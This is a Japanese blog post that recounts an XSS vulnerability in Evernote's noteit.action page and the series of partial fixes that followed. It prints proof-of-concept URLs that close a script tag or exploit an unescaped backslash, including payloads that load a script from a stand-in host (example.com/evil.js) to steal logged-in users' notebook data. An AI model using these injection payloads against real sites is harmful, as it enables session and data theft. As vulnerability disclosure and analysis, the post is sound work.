Evernoteに任意のHTMLを注入できる脆弱性がありました。
http://togetter.com/li/125281
Evernoteのセキュリティポリシーとかには触れず、とりあえず何が可能だったのか、どういう状況だったのかを書きます。
Evernoteの登録ページのHTMLに以下のような記述があります。
<script type="text/javascript">
$(document).ready(function() {
suggestedTags = [];
suggestedNotebook = "";
sourceUrl = "";
providerName = "";
payload =
{
"user" : { ... },
..後略..
</script>
このsourceUrl = ""
の部分、https://www.evernote.com/noteit.action?url=</script><img src=http://www.google.com/favicon.ico>
のようなURLでアクセスすると以下のようになっていました。
<script type="text/javascript">
$(document).ready(function() {
suggestedTags = [];
suggestedNotebook = "";
sourceUrl = "</script><img src=http://www.google.com/favicon.ico>";
providerName = "";
payload =
{
"user" : { ... },
..後略..
</script>
</script>
の部分でscriptタグが閉じられ、後続するimgタグが素通しなのでEvernote上にGoogleのファビコンが表示されます。imgではなく?url=</script><script src=http://example.com/evil.js></script>
のように指定すれば任意のJavaScriptをhttps://www.evernote.com/上で実行できる状態でした。
Evernoteにログインした状態でページを開くとノートブックのタイトルや中身を抜き出せる状態です。これはやばい。
いつからそうなったのか正確な時刻はわかりませんが、<と>が除去されるようになりました。具体的には以下のような状態になります。
<script type="text/javascript">
$(document).ready(function() {
suggestedTags = [];
suggestedNotebook = "";
sourceUrl = "/scriptimg src=http://www.google.com/favicon.ico";
providerName = "";
payload =
{
"user" : { ... },
..後略..
</script>
これによりscriptタグが閉じられることはなくなり、一見XSSは不可能に見えます。エクスプロイトが公開されている状態ですから、急場しのぎの処置としては悪くないと思います。
が、しかし、https://www.evernote.com/noteit.action?providerName=</script><img src=http://www.google.com/favicon.ico>
にアクセスすると
<script type="text/javascript">
$(document).ready(function() {
suggestedTags = [];
suggestedNotebook = "";
sourceUrl = "";
providerName = "</script><img src=http://www.google.com/favicon.ico>";
payload =
{
"user" : { ... },
..後略..
</script>
依然として同じ状況です(ちなみに?suggestNotebook=xxxでも同様にHTML注入できました)。Evernoteのブログで修正告知があり、僕がコメント欄で突っ込んでるのはこの状態の時です。Googleリアルタイム検索で見てみるとこのブログURLを挙げて安全宣言してる人が居たので、まだ脆弱性はあるよという意味でtogetterとEvernoteブログにコメントしました。余談ですが、Evernoteのほうの「修正が中途半端なので~」というコメントはすぐには公開されず承認待ちの状態になったので警告としては意味がなく、また上記の実証URLも書いておいたんですが公開時には削除されたようです。コメントした意味なかった……。
?providerName=xxxと?suggestNotebook=xxxについても<と>が除去されるようになりました。「報告した分の脆弱性は直ったようです」というコメントの時点です。
なんかまだまだ残ってそうだけど別にEvernoteユーザーでもないしまあいいや、と思って違うことをしてましたが、malaさんがまだ脆弱性は残ってるとtwitterで言ってるのを見て再度脆弱性を探してみたところ、以下のようなURLでまだ可能でした。
https://www.evernote.com/noteit.action?suggestNotebook=1\";alert($('%23loginUsername').html());//";
<script type="text/javascript">
$(document).ready(function() {
suggestedTags = [];
suggestedNotebook = "1\\";alert($('#loginUsername').html());//";
sourceUrl = "";
providerName = "";
payload =
{
"user" : { ... },
..後略..
</script>
"
は\"
になるのに、\
は\\
にならずに(エスケープされずに)変数定義に埋め込まれているため、それを利用して変数定義を抜けて任意のスクリプトを動かせる状態になっていました。<と>は前述のとおり除去されますが、たとえばsuggestNotebook=1\";var s=document.createElement('script');s.src='http://example.com/evil.js';document.body.appendChild(s);//";
のようにすれば同じことです('
はエスケープされませんでした)。
まあでも報告してもあんま意味なさそうだし別にEvernoteユーザーでもないからまあいいやと思って放置してました。
上記の脆弱性も埋められました。malaさんの発言と@EvernoteJPのfollowingを見る限り、Evernoteの人がmalaさんと徳丸さん(セキュリティに詳しいすごい人)を呼んで何やら色々と行われたようです。
これで完全完璧に安全かどうかなんて外からはもちろん中の人でもわかりませんが、とりあえず僕が把握してる脆弱性は全部なくなりました。より詳しいことはそのうちEvernote側から発表があるんじゃないでしょうか。
脆弱性発見者を呼んで対策する、というEvernoteの行動はすごいの一語に尽きます。技術力だけでなく行動力でカバーするというのはなかなかできないことだと思います。冒頭で少し触れたセキュリティポリシー(というかセキュリティ意識)についての懸念もあるにはありますが、何かあればなりふり構わずに対策する、という姿勢は信頼できるものじゃないかなと思います。少なくとも、たまたまtogetterで見つけたエクスプロイトをちょっといじってXSS発見したとか言って遊んでる僕よりは立派じゃないでしょうか。
というわけで、僕が見たEvernoteのXSS事件とその顛末をまとめてみました。終わり。